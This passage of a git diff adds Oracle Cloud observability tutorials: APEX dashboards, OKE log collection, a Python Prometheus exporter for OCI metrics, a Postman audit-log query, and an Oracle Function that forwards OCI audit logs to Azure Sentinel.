b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-12.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-13.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-13.png new file mode 100644 index 000000000..810bb94cf Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-13.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-14.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-14.png new file mode 100644 index 000000000..fa7918619 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-14.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-15.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-15.png new file mode 100644 index 000000000..c6f08cc51 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-15.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-16.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-16.png new file mode 100644 index 000000000..5f739ba8d Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-16.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-17.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-17.png new file mode 100644 index 000000000..3245e0866 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-17.png differ diff --git a/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-18.png b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-18.png new file mode 100644 index 000000000..20ca5befe Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-goldengate-cloud/images/image-18.png differ diff --git a/observability-and-management/assets/oci-observability-for-oracle-apex/README.md b/observability-and-management/assets/oci-observability-for-oracle-apex/README.md new file mode 100644 index 000000000..958a3fcba --- /dev/null +++ b/observability-and-management/assets/oci-observability-for-oracle-apex/README.md @@ -0,0 +1,68 @@ +# How to enable OCI Observability on Oracle APEX + +Oracle APEX is an enterprise low-code application platform that enables developers to build scalable, secure web and mobile apps. It can run on-premises as well as Oracle Cloud Infrastructure (OCI). + +While the Oracle APEX framework provides administrator and [monitoring](https://docs.oracle.com/database/apex-18.1/AEADM/monitoring-activity-within-a-workspace.htm) dashboards, they require APEX specific skills and access. + +Press enter or click to view image in full size + +![Picture 6](./images/image-01.png) + +Utilizing OCI Observability and Management services you can obtain, a single point of display and control for all the services, without having to be an APEX expert or administrator. + +One basic method is sourcing monitoring data from the Oracle APEX repository and then publishing it to an OCI Dashboard. + +To activate FULL Observability capabilities for APEX you can use two services: + +- OCI Logging Analytics. [Here](https://github.com/oracle-quickstart/oci-o11y-solutions/tree/main/knowlege-content/oracle-database/APEX/apm) you can find the documentation. + +- OCI Application Performance Monitor. [Here](https://github.com/oracle-quickstart/oci-o11y-solutions/tree/main/knowlege-content/oracle-database/APEX/apm) how to enable it. + +Enabling these advanced OCI O&M services yields such Applied Observability insights as Error, User Authentication, Application Usage Dashboard and Real User Experience. + +### Error, User Authentication, and Application Usage Dashboard + + +![Picture 5](./images/image-02.png) + +Figure 1 APEX Error Dashboard + +The errors dashboard group provides a view of application errors and the impact on the end user. + + + +![Picture 4](./images/image-03.png) + +Figure 2 APEX User Audit Dashboard + +The User Audit widget group shows the application user and the database login. In this case, it provides the success and the failure logon trend. Note, define an alert when the failure exceeds a threshold limit. + + + +![Picture 3](./images/image-04.png) + +Figure 3 APEX Application Usage Dashboard + +The application usage Dashboard provides an overview of the application workload in terms of workspace, application, pages and users. + +A dashboard is made of several widget. Each widget allows to drill down till the raw data source. You can se the APEX sources to build new widgets [https://docs.oracle.com/en-us/iaas/Content/Dashboards/Tasks/widgetmanagement.htm](https://docs.oracle.com/en-us/iaas/Content/Dashboards/Tasks/widgetmanagement.htm) + +### Real User Monitor + +Real user monitoring (RUM) records all user interaction with a [website](https://en.wikipedia.org/wiki/Website) or client interacting with a server or cloud-based application. Monitoring actual user interaction with a website or an application is important to operators to determine if users are being served quickly and without errors and, if not, which part of a business process is failing. Real user monitoring data is used to determine the actual service-level quality delivered to end-users and to detect errors or slowdowns on websites. + + + +![Picture 1](./images/image-05.png) + +Fig. 4 APEX Real User Experience Dashboard + +Observability is the next monitor level which allows you to get a full insight from your asset and improve the business quality of service. OCI offers integrated and native monitor for all the services. To know more about access our [knowledge repository](https://github.com/oracle-quickstart/oci-o11y-solutions/tree/main/knowledge-content/oracle-database/APEX)! + +Resources: + +[OCI Observability](https://www.oracle.com/uk/manageability/) + +[Getting Started with OCI Logging Analytics](https://docs.oracle.com/en-us/iaas/logging-analytics/doc/quick-start.html) + +[Getting Started with OCI APM](https://docs.oracle.com/en-us/iaas/application-performance-monitoring/doc/get-started-application-performance-monitoring.html) diff --git a/observability-and-management/assets/oci-observability-for-oracle-apex/images/.gitkeep b/observability-and-management/assets/oci-observability-for-oracle-apex/images/.gitkeep new file mode 100644 index 000000000..464560bc0 --- /dev/null +++ b/observability-and-management/assets/oci-observability-for-oracle-apex/images/.gitkeep @@ -0,0 +1 @@ +# Approved images for this article live here. diff --git a/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-01.png b/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-01.png new file mode 100644 index 000000000..ec4053a49 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-01.png differ diff --git a/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-02.png b/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-02.png new file mode 100644 index 000000000..577a31ad5 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-02.png differ diff --git a/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-03.png b/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-03.png new file mode 100644 index 000000000..7136a9d03 Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-03.png differ diff --git a/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-04.png b/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-04.png new file mode 100644 index 000000000..ec087625e Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-04.png differ diff --git a/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-05.png b/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-05.png new file mode 100644 index 000000000..3c7b634eb Binary files /dev/null and b/observability-and-management/assets/oci-observability-for-oracle-apex/images/image-05.png differ diff --git a/observability-and-management/assets/oke-log-collection-using-oci-logging/README.md b/observability-and-management/assets/oke-log-collection-using-oci-logging/README.md new file mode 100644 index 000000000..0335fa17f --- /dev/null +++ b/observability-and-management/assets/oke-log-collection-using-oci-logging/README.md @@ -0,0 +1,29 @@ +# OKE log collection using OCI Logging + +Recently OCI logging had added support for CRIO logs. With this we can collect container logs in OKE > 1.20. + +Steps are easy: + +1. Make sure custom logs monitoring plugin is running under Oracle Cloud Agent tab in compute. + +![Picture 3](./images/image-01.png) + +2. Create a dynamic group for OKE compute instance only if other compute instances are there in the same compartment using tags like below. + +```text +tag.Mandatory_Tags.Owner.value=’oke’ instance.compartment.id='' +``` + +3.Create custom logs and agent configuration using the dynamic group created earlier and choose CRI parser. + +![Picture 2](./images/image-02.png) + +![Picture 1](./images/image-03.png) + +It will take some time for the agent config to load. If you want to see the logs quicker run the below command in the compute node + +```text +systemctl restart unified-monitoring-agent_config_downloader +``` + +Congratulations! You have now OKE logs in OCI Logging. diff --git a/observability-and-management/assets/oke-log-collection-using-oci-logging/images/image-01.png b/observability-and-management/assets/oke-log-collection-using-oci-logging/images/image-01.png new file mode 100644 index 000000000..779a2a9e1 Binary files /dev/null and b/observability-and-management/assets/oke-log-collection-using-oci-logging/images/image-01.png differ diff --git a/observability-and-management/assets/oke-log-collection-using-oci-logging/images/image-02.png b/observability-and-management/assets/oke-log-collection-using-oci-logging/images/image-02.png new file mode 100644 index 000000000..9b246e0c4 Binary files /dev/null and b/observability-and-management/assets/oke-log-collection-using-oci-logging/images/image-02.png differ diff --git a/observability-and-management/assets/oke-log-collection-using-oci-logging/images/image-03.png b/observability-and-management/assets/oke-log-collection-using-oci-logging/images/image-03.png new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oracle-cloud-prometheus-exporter/README.md b/observability-and-management/assets/oracle-cloud-prometheus-exporter/README.md new file mode 100644 index 000000000..5830956c8 --- /dev/null +++ b/observability-and-management/assets/oracle-cloud-prometheus-exporter/README.md @@ -0,0 +1,211 @@ +# Oracle Cloud Prometheus Exporter + +If you want to pull OCI metrics into Prometheus there are no exporters available in the community so far and we might need to write our own exporters. + +We will see how to write a basic OCI exporter in python using [SummarizeMetricsData](https://docs.oracle.com/en-us/iaas/api/#/en/monitoring/20180401/MetricData/SummarizeMetricsData) API. + +```text +from builtins import object, len +import time +import sys +from prometheus_client import start_http_server +from prometheus_client.core import GaugeMetricFamily, REGISTRY + +import oci +from datetime import datetime, timezone, timedelta + +compartment_id = sys.argv[1] +config = oci.config.from_file("") +monitoring_client = oci.monitoring.MonitoringClient(config) + +# Instance principal +# signer = oci.auth.signers.InstancePrincipalsSecurityTokenSigner() +# monitoring_client = oci.monitoring.MonitoringClient(config={}, signer=signer) + +COMPUTE_METRICS = [ + "CpuUtilization", + "DiskBytesRead", + "DiskBytesWritten", + "DiskIopsRead", + "DiskIopsWritten", + "LoadAverage", + "MemoryAllocationStalls", + "MemoryUtilization", + "NetworksBytesIn", + "NetworksBytesOut" +] + +VCN_METRICS1 = [ + "VnicConntrackIsFull", + "VnicConntrackUtilPercent", + "VnicEgressDropsConntrackFull", + "VnicEgressDropsSecurityList", + "VnicEgressDropsThrottle", + "VnicEgressMirrorDropsThrottle", + "VnicFromNetworkBytes", + "VnicFromNetworkMirrorBytes", + "VnicFromNetworkMirrorPackets", + "VnicFromNetworkPackets" +] +VCN_METRICS2 = [ + "VnicIngressDropsConntrackFull", + "VnicIngressDropsSecurityList", + "VnicIngressDropsThrottle", + "VnicIngressMirrorDropsConntrackFull", + "VnicIngressMirrorDropsSecurityList", + "VnicIngressMirrorDropsThrottle", + "VnicToNetworkBytes", + "VnicToNetworkMirrorBytes", + "VnicToNetworkMirrorPackets", + "VnicToNetworkPackets", +] +OBJECTSTORAGE_METRICS = [ + "AllRequests", + "ClientErrors", + "FirstByteLatency", + "HeadRequests", + "ListRequests", + "ObjectCount", + "PutRequests", + "StoredBytes", + "TotalRequestLatency", + "UncommittedParts" +] + +#fucntion to retrieve mean statistic for specific namespace and metric +def metric_summary(now, one_min_before, metric_name,namespace,compartment_ocid): + summarize_metrics_data_response = monitoring_client.summarize_metrics_data( + compartment_id=compartment_ocid, + summarize_metrics_data_details=oci.monitoring.models.SummarizeMetricsDataDetails( + namespace=namespace, + query=f"{metric_name}[1m].mean()", + start_time=one_min_before, + end_time=now)) + return summarize_metrics_data_response.data + +def get_metrics(): + now = (datetime.now(timezone.utc).isoformat().replace("+00:00", "Z")) + ONE_MIN_BEFORE = (datetime.utcnow() - timedelta(minutes=1)).isoformat() + 'Z' + + for name in COMPUTE_METRICS: + summary = metric_summary(now,ONE_MIN_BEFORE,name,"oci_computeagent",compartment_id) + if len(summary) > 0: + yield summary + else: + break + + time.sleep(1) + for name in VCN_METRICS1: + summary = metric_summary(now,ONE_MIN_BEFORE,name,"oci_vcn",compartment_id) + if len(summary) > 0: + yield summary + else: + break + + time.sleep(1) + for name in VCN_METRICS2: + summary = metric_summary(now,ONE_MIN_BEFORE,name,"oci_vcn",compartment_id) + if len(summary) > 0: + yield summary + else: + break + + time.sleep(1) + for name in OBJECTSTORAGE_METRICS: + summary = metric_summary(now,ONE_MIN_BEFORE,name,"oci_objectstorage",compartment_id) + if len(summary) > 0: + yield summary + else: + break + +class OCIExporter(object): + def __init__(self): + pass + + def collect(self): + metric_data = list(get_metrics()) + for metrics in metric_data: + for metric in metrics: + name = f'oci_{metric.name.lower()}' + dimensions = metric.dimensions + if dimensions.get('resourceDisplayName') is not None: + labels = ['resource_name'] + resource_id = dimensions.get('resourceDisplayName') + else: + labels = ['resource_id'] + resource_id = dimensions.get('resourceId') + + metadata = metric.metadata + description = metadata.get('displayName') + value = metric.aggregated_datapoints[0].value + + g = GaugeMetricFamily(name=name, documentation=description, labels=labels) + g.add_metric(labels=[resource_id], value=value) + yield g + +if __name__ == "__main__": + start_http_server(8070) + REGISTRY.register(OCIExporter()) + while True: + time.sleep(1) +``` + +NOTE : This is an example to show how you can write a custom exporter to fetch OCI metrics in prometheus format and not to use in production. + +To run python3 .The above code will launch a http server listening on port 8070 where the OCI metrics will be available in prometheus format. If you are running it locally and hit localhost:8070 you will get the metrics for the namespace mentioned if its available . Below is an example showing few VCN metrics + +```text +# HELP oci_vnicfromnetworkbytes Bytes from Network +#TYPE oci_vnicfromnetworkbytes gauge + +oci_vnicfromnetworkbytes{resource_id=”ocid1.vnic.oc……”} 3.807... + +# HELP oci_vnicfromnetworkmirrorpackets Mirrored Packets from Network + +# TYPE oci_vnicfromnetworkmirrorpackets gauge + +oci_vnicfromnetworkmirrorpackets{resource_id=”ocid1.vnic.oc……”} 0.0 + +# HELP oci_vnicfromnetworkpackets Packets from Network + +# TYPE oci_vnicfromnetworkpackets gauge + +oci_vnicfromnetworkpackets{resource_id=”ocid1.vnic.oc…..”} 5351.0 +``` + +I have hardcoded the compute,VCN and object storage metrics .These metrics are derived from the listmetrics API and hardcoded to avoid another API call. + +The example code fetches all the mentioned metrics from one compartment passed as an argument to the script.You can pass different compartment id in the code if VCN and compute metrics are in different compartment. + +If you are running locally for testing purpose you can use the config file and to run from a OCI instance use instance principal auth which is commented in the code + +There is a pause added using time.sleep(1) to avoid API limit errors. + +The prometheus Gaugemetric is used as the metric value will go up and down. + +You can point the endpoint where the metrics is available in your prometheus yaml configuration and set scrape_interval to 60seconds.I am running a local prometheus using docker + +```text +global: + scrape_interval: 30s + evaluation_interval: 30s + +scrape_configs: + - job_name: 'oci' + metrics_path: '/metrics' + scrape_interval: 60s + static_configs: + - targets: ['host.docker.internal:8070'] +``` + +Press enter or click to view image in full size + +![Picture 2](./images/image-01.png) + +Press enter or click to view image in full size + +![Picture 1](./images/image-02.png) + +Prometheus OCI VCN metrics + +If the use-case is to view OCI metrics in grafana then you can use the [grafana plugin](https://github.com/oracle/oci-grafana-metrics) no need of exporters. diff --git a/observability-and-management/assets/oracle-cloud-prometheus-exporter/images/.gitkeep b/observability-and-management/assets/oracle-cloud-prometheus-exporter/images/.gitkeep new file mode 100644 index 000000000..464560bc0 --- /dev/null +++ b/observability-and-management/assets/oracle-cloud-prometheus-exporter/images/.gitkeep @@ -0,0 +1 @@ +# Approved images for this article live here. diff --git a/observability-and-management/assets/oracle-cloud-prometheus-exporter/images/image-01.png b/observability-and-management/assets/oracle-cloud-prometheus-exporter/images/image-01.png new file mode 100644 index 000000000..7b9cfc06f Binary files /dev/null and b/observability-and-management/assets/oracle-cloud-prometheus-exporter/images/image-01.png differ diff --git a/observability-and-management/assets/oracle-cloud-prometheus-exporter/images/image-02.png b/observability-and-management/assets/oracle-cloud-prometheus-exporter/images/image-02.png new file mode 100644 index 000000000..dcaffc9fe Binary files /dev/null and b/observability-and-management/assets/oracle-cloud-prometheus-exporter/images/image-02.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/README.md b/observability-and-management/assets/postman-collection-for-oci-audit-logs/README.md new file mode 100644 index 000000000..c5ba38281 --- /dev/null +++ b/observability-and-management/assets/postman-collection-for-oci-audit-logs/README.md @@ -0,0 +1,55 @@ +# How to create a Postman Collection for OCI Audit Logs + +To do this, you need to first prepare your Postman to make calls against OCI. You can follow this link to configure it. + +How to use OCI API’s with Postman + +On my previous post I have showcased how to use Identity Domains API’s in Postman. + +learnoci.cloud + +After you have prepared the environment for the OCI API calls, you need to Export and import the Logging Search API Collection. + +Search response list is being retrieved. | Oracle Cloud Infrastructure REST APIs | Postman API… + +Edit description + +www.postman.com + +![Picture 12](./images/image-01.png) + +![Picture 11](./images/image-02.png) + +Next you duplicate the Collection and you rename it Audit API: + +![Picture 10](./images/image-03.png) + +You leave the variables as the ones from Logging Search, and you go to OCI Logging → Audit: + +![Picture 9](./images/image-04.png) + +In your browser open Developer Tools(Menu →More Tools →Developer Tools): + +![Picture 7](./images/image-05.png) + +Clear the data, and do a search in OCI Audit: + +![Picture 6](./images/image-06.png) + +![Picture 5](./images/image-07.png) + +In the right, you will see the Search Payload: + +![Picture 4](./images/image-08.png) + +Right click on the Payload and copy the value: + +![Picture 3](./images/image-09.png) + +Paste it in the Body of Search logs POST Request in Postman and press Send(Change the TimeStart and TimeEnd values based on your requirement): + +![Picture 2](./images/image-10.png) + +Congratulation! You have created your own OCI audit API call. + +![Picture 1](./images/image-11.png) diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-01.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-01.png new file mode 100644 index 000000000..1826e0703 Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-01.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-02.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-02.png new file mode 100644 index 000000000..67b4642b1 Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-02.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-03.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-03.png new file mode 100644 index 000000000..9f8806b58 Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-03.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-04.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-04.png new file mode 100644 index 000000000..514217c28 Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-04.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-05.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-05.png new file mode 100644 index 000000000..013cba360 Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-05.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-06.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-06.png new file mode 100644 index 000000000..992b46652 Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-06.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-07.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-07.png new file mode 100644 index 000000000..b77981716 Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-07.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-08.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-08.png new file mode 100644 index 000000000..d44cddec4 Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-08.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-09.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-09.png new file mode 100644 index 000000000..485f5df98 Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-09.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-10.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-10.png new file mode 100644 index 000000000..b9337de4f Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-10.png differ diff --git a/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-11.png b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-11.png new file mode 100644 index 000000000..3f17211ef Binary files /dev/null and b/observability-and-management/assets/postman-collection-for-oci-audit-logs/images/image-11.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/README.md b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/README.md new file mode 100644 index 000000000..078c5e865 --- /dev/null +++ b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/README.md @@ -0,0 +1,288 @@ +# Send OCI Logs to Azure Sentinel using Oracle Functions + +Introduction + +This guide walks you through sending Oracle Cloud Infrastructure (OCI) service logs to Azure Sentinel using Azure’s HTTP Data Collector API and Oracle Functions. + +The solution uses the OCI Service Connector Hub to route logs from OCI resources to a custom Oracle Function. This Function processes the logs and forwards them to Azure Sentinel for centralized monitoring and analysis. + +[Service Log Reference](https://docs.oracle.com/en-us/iaas/Content/Logging/Reference/service_log_reference.htm) lists all the OCI logs that can be collected and sent to Sentinel via this method. + +Solution Overview + +1. OCI Audit Logs as the source + +2. OCI Service Connector Hub as the intermediary + +3. OCI Functions for processing and forwarding logs + +4. Azure Sentinel as the destination + +Press enter or click to view image in full size + +![Picture 17](./images/image-01.png) + +We use OCI Audit logs as an example here as these are enabled by default in any OCI tenancy. These are OCI native logs in JSON format. + +The Service Connector Hub (SCH) acts as the intermediary that collects the Audit logs (source) and routes them to the Functions (target). + +Oracle Functions allow us to use coding mechanism to process these logs. In this case, we are using Python script to accept the logs from the SCH and process them to be forwarded to the Azure endpoint. + +Azure Sentinel Data Collector API allows us to send log data to Azure Sentinel from any client that can call a REST API. + +Note: The Azure Monitor HTTP Data Collector API has been deprecated and will +not be functional as of 9/14/2026. +It's been replaced by the Logs ingestion API. More [here](https://learn.microsoft.com/en-us/previous-versions/azure/azure-monitor/logs/data-collector-api?tabs=powershell). + +Advantage of using this method: + +1. Resilient - this mechanism uses standard features and methods and is unlikely to be affected by updates of the platform or underlying mechanism unless there is a major change. + +2. Minimalist - no agents or additional configurations required or either OCI or Sentinel side. + +3. Maintainable — Easily adaptable to changes in OCI or Sentinel configurations. + +Possible risks: + +1. If the log format changes then the Functions code might need to be tweaked. The log format is JSON format which is unlikely to change in near future. + +2. Azure Sentinel HTTP Data Collector API used here has been deprecated but will continue to work until 9/14/2026 after which the API endpoint will have to be replaced by the newer Log Ingestion API — [doc](https://learn.microsoft.com/en-us/azure/azure-monitor/logs/data-collector-api?tabs=powershell) + +3. This method works for any logs (custom logs, application logs etc.) but the same Functions code wont be applicable as the log type being used here is JSON. Users can use the code in general but need to modify it for the type of logs being sent. + +Step 1: Prepare logs + +OCI Audit Logs are enabled by default, so no additional setup is required. However, for other log types — such as VCN Flow Logs or Load Balancer Logs - you’ll need to enable them manually before integration. You can follow [this guide](https://docs.oracle.com/en-us/iaas/Content/data-integration/using/logging.htm) for detailed steps. + +To view the Audit Logs, from the main OCI hamburger menu on top left, go to Observability and Management -> Logging -> Audit + +![Picture 16](./images/image-02.png) + +Press enter or click to view image in full size + +![Picture 15](./images/image-03.png) + +Step 2: Collect Sentinel Workspace Details + +For the sake of this integration, we need the workspace ID and the primary key. + +Login to your Azure portal and get these details as shown — + +Press enter or click to view image in full size + +![Picture 14](./images/image-04.png) + +Step 3: Create Function in OCI + +![Picture 13](./images/image-05.png) + +Click on Create application + +![Picture 12](./images/image-06.png) + +Press enter or click to view image in full size + +![Picture 11](./images/image-07.png) + +Note: The values shown are for demonstration purposes only. Be sure to replace them with your own configuration values based on your setup. + +Click on Create after this. + +Press enter or click to view image in full size + +![Picture 9](./images/image-08.png) + +On the Details page, you’ll find guides for getting started with OCI Functions. Choose the setup that best fits your use case: + +1. Cloud Shell Setup: Ideal for quick testing. Cloud Shell is a browser-based terminal accessible from the OCI Console. It’s easy to use but note that storage is automatically deleted after 6 months of inactivity. For short-term or demo use, it’s convenient. + +2. Local Setup: Better suited for development, this runs on your own persistent compute instance, ensuring your configuration and files are retained long-term. + +In this guide, we will use Cloud Shell for demonstration purposes. + +Click View Guide and follow the steps provided for your configuration. + +Important: From the Actions menu in Cloud Shell, switch the architecture to x86_64. This matches the default shape used when creating the Function (see Step 4 above). + +![Picture 8](./images/image-09.png) + +The following example is for illustration only — do not copy these values directly, as they will differ based on your setup. Use the ones from your Cloud Shell setup guide only. + +Note: The registry name must be in lowercase. Using uppercase characters will result in an error during the build process. + +```text +fn list context +fn use context eu-frankfurt-1 +fn update context oracle.compartment-id ocid1.compartment.oc1..aaaaaXXXXXXXXXXXX +fn update context registry fra.ocir.io/frxfXXXXXXXzb/sentinelfunction +docker login -u 'frxXXXXXXzb/oracleidentitycloudservice/email@####' fra.ocir.io +##Enter the OCI Auth token as password +fn list apps +fn init --runtime python sentinelfunction +cd sentinelfunction/ +ls +vi func.py ##shared below +vi requirements.txt. ##shared below +fn -v deploy --app sentinelfunction +``` + +The Python code provided below is a working example intended solely for demonstration purposes. It is not production-ready. Please review and customize it based on your specific requirements. Use at your own discretion. + +1. Replace func.py with this code + +```text +import io +import os +import json +import requests +import datetime +import hashlib +import hmac +import base64 +import logging + +from fdk import response + +# Fetch secure configuration from environment variables +_customer_id = os.getenv("AZURE_CUSTOMER_ID") +_shared_key = os.getenv("AZURE_SHARED_KEY") +_log_type = os.getenv("AZURE_LOG_TYPE", "OCI_Logging") + +def build_signature(customer_id: str, shared_key: str, date: str, content_length: int, + method: str, content_type: str, resource: str) -> str: + x_headers = f'x-ms-date:{date}' + string_to_hash = f"{method}\n{content_length}\n{content_type}\n{x_headers}\n{resource}" + bytes_to_hash = bytes(string_to_hash, encoding='utf-8') + decoded_key = base64.b64decode(shared_key) + encoded_hash = base64.b64encode(hmac.new(decoded_key, bytes_to_hash, + digestmod=hashlib.sha256).digest()).decode() + return f"SharedKey {customer_id}:{encoded_hash}" + +def post_data(customer_id: str, shared_key: str, body: str, log_type: str, logger: logging.Logger): + method = 'POST' + content_type = 'application/json' + resource = '/api/logs' + rfc1123date = datetime.datetime.utcnow().strftime('%a, %d %b %Y %H:%M:%S GMT') + content_length = len(body) + + signature = build_signature(customer_id, shared_key, rfc1123date, content_length, + method, content_type, resource) + uri = f'https://{customer_id}.ods.opinsights.azure.com{resource}?api-version=2016-04-01' + + headers = { + 'Content-Type': content_type, + 'Authorization': signature, + 'Log-Type': log_type, + 'x-ms-date': rfc1123date + } + + response_ = requests.post(uri, data=body, headers=headers) + + if 200 <= response_.status_code <= 299: + logger.info('Upload accepted by Azure Sentinel.') + else: + logger.error(f"Upload failed. HTTP {response_.status_code}: {response_.text}") + +# Entrypoint function +def handler(ctx, data: io.BytesIO = None): + logger = logging.getLogger() + try: + if not _customer_id or not _shared_key: + raise ValueError("Missing AZURE_CUSTOMER_ID or AZURE_SHARED_KEY environment variable.") + + log_body = data.getvalue().decode("utf-8") + post_data(_customer_id, _shared_key, log_body, _log_type, logger) + return response.Response( + ctx, + response_data=json.dumps({"status": "Success"}), + headers={"Content-Type": "application/json"} + ) + except Exception as err: + logger.exception(f"Error in main process: {str(err)}") + return response.Response( + ctx, + response_data=json.dumps({"status": "Failed", "error": str(err)}), + headers={"Content-Type": "application/json"} + ) +``` + +Add requests to the requirements.txt file + +```text +fdk>=0.1.93 +requests +oci +``` + +Now, return to the Functions application in the OCI Console and navigate to the Configuration section. Click Manage Configuration to view or update your function’s environment variables. + +Press enter or click to view image in full size + +![Picture 7](./images/image-10.png) + +Click Add Configuration, then enter the values for workspace id and primary key variables used in the code. + +Press enter or click to view image in full size + +![Picture 6](./images/image-11.png) + +Deploy the function once all the changes have been made. + +```text +fn -v deploy --app sentinelfunction +``` + +After running the fn deploy command, wait for the deployment process to complete. This takes 2–5 minutes. + +Step 4: Create a Service Connector + +Next, we will create a Service Connector to route logs from the Logging service (source) to the Oracle Function (target). + +To begin, navigate to: + +Main Menu ->Observability & Management ->Logging ->Connectors + +![Picture 5](./images/image-12.png) + +Click on Create Connector and enter details as shown below. + +Press enter or click to view image in full size + +![Picture 4](./images/image-13.png) + +Select the logs you want to forward. You can include multiple log sources by clicking + Another Log, and choose logs from any compartment as needed. + +The Filter Task lets you define criteria to include or exclude specific logs. For this demonstration, we’ll skip it, as filtering is typically used for more specific use cases. + +Press enter or click to view image in full size + +![Picture 3](./images/image-14.png) + +Next, configure the target by selecting the Oracle Function you deployed earlier. + +Enabling the logs can help troubleshoot any deployment issues and also confirm whether logs are being successfully forwarded to the function. + +Finally, click Create. + +Press enter or click to view image in full size + +![Picture 2](./images/image-15.png) + +With this step, the logs are ready to be shipped from Logging service to the OCI Functions code via the Connector, and from there, to Azure Sentinel. + +Step 5: Verify Logs in Azure Sentinel + +Go to your Azure Sentinel Log workspace and search as follows to see the OCI logs. Note that the table created is OCI_Logging_CL as defined in the Functions code. + +Press enter or click to view image in full size + +![Picture 1](./images/image-16.png) + +Note + +1. If you don't see the logs in Step 5, then +- look at the Connector metrics and Logs and confirm that there are no Errors on Target, meaning that Connector is sending logs successfully to Functions. +- then look at the Functions metrics and logs to ensure that the there are no Functions errors. +If there are errors, troubleshoot them as per the error messages. + +2. If you don’t want to hard code the workspace ID and the primary keys, it is possible to use OCI Vaults service. Although this will require slight changes to the code. diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/.gitkeep b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/.gitkeep new file mode 100644 index 000000000..464560bc0 --- /dev/null +++ b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/.gitkeep @@ -0,0 +1 @@ +# Approved images for this article live here. diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-01.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-01.png new file mode 100644 index 000000000..e6c65fc4a Binary files /dev/null and 